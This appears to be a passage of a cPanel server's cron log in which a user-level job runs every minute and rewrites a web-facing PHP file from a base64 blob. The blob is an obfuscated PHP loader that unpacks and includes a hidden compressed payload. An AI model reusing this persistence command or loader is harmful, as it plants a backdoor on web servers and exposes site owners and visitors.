GwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 12:15:01 server CROND[4366]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 12:15:01 server CROND[4367]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 12:15:01 server CROND[4368]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Apr  7 12:15:01 server CROND[4369]: (root) CMD (/usr/local/cpanel/scripts/autorepair recoverymgmt >/dev/null 2>&1)
Apr  7 12:15:01 server CROND[4370]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 12:16:01 server CROND[4524]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 12:17:01 server CROND[4588]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 12:18:01 server CROND[4733]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 12:19:01 server CROND[4808]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 12:20:01 server CROND[4869]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 12:20:01 server CROND[4870]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  7 12:20:01 server CROND[4871]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 12:20:01 server CROND[4872]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  7 12:20:01 server CROND[4877]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 12:21:01 server CROND[4990]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 12:22:01 server CROND[5077]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 12:23:01 server CROND[5224]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 12:24:01 server CROND[5283]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 12:25:01 server CROND[5343]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 12:25:01 server CROND[5344]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 12:25:01 server CROND[5345]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 12:25:01 server CROND[5346]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Apr  7 12:26:01 server CROND[5453]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 12:27:01 server CROND[5515]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  7 12:27:01 server CROND[5516]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 12:28:01 server CROND[5659]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo 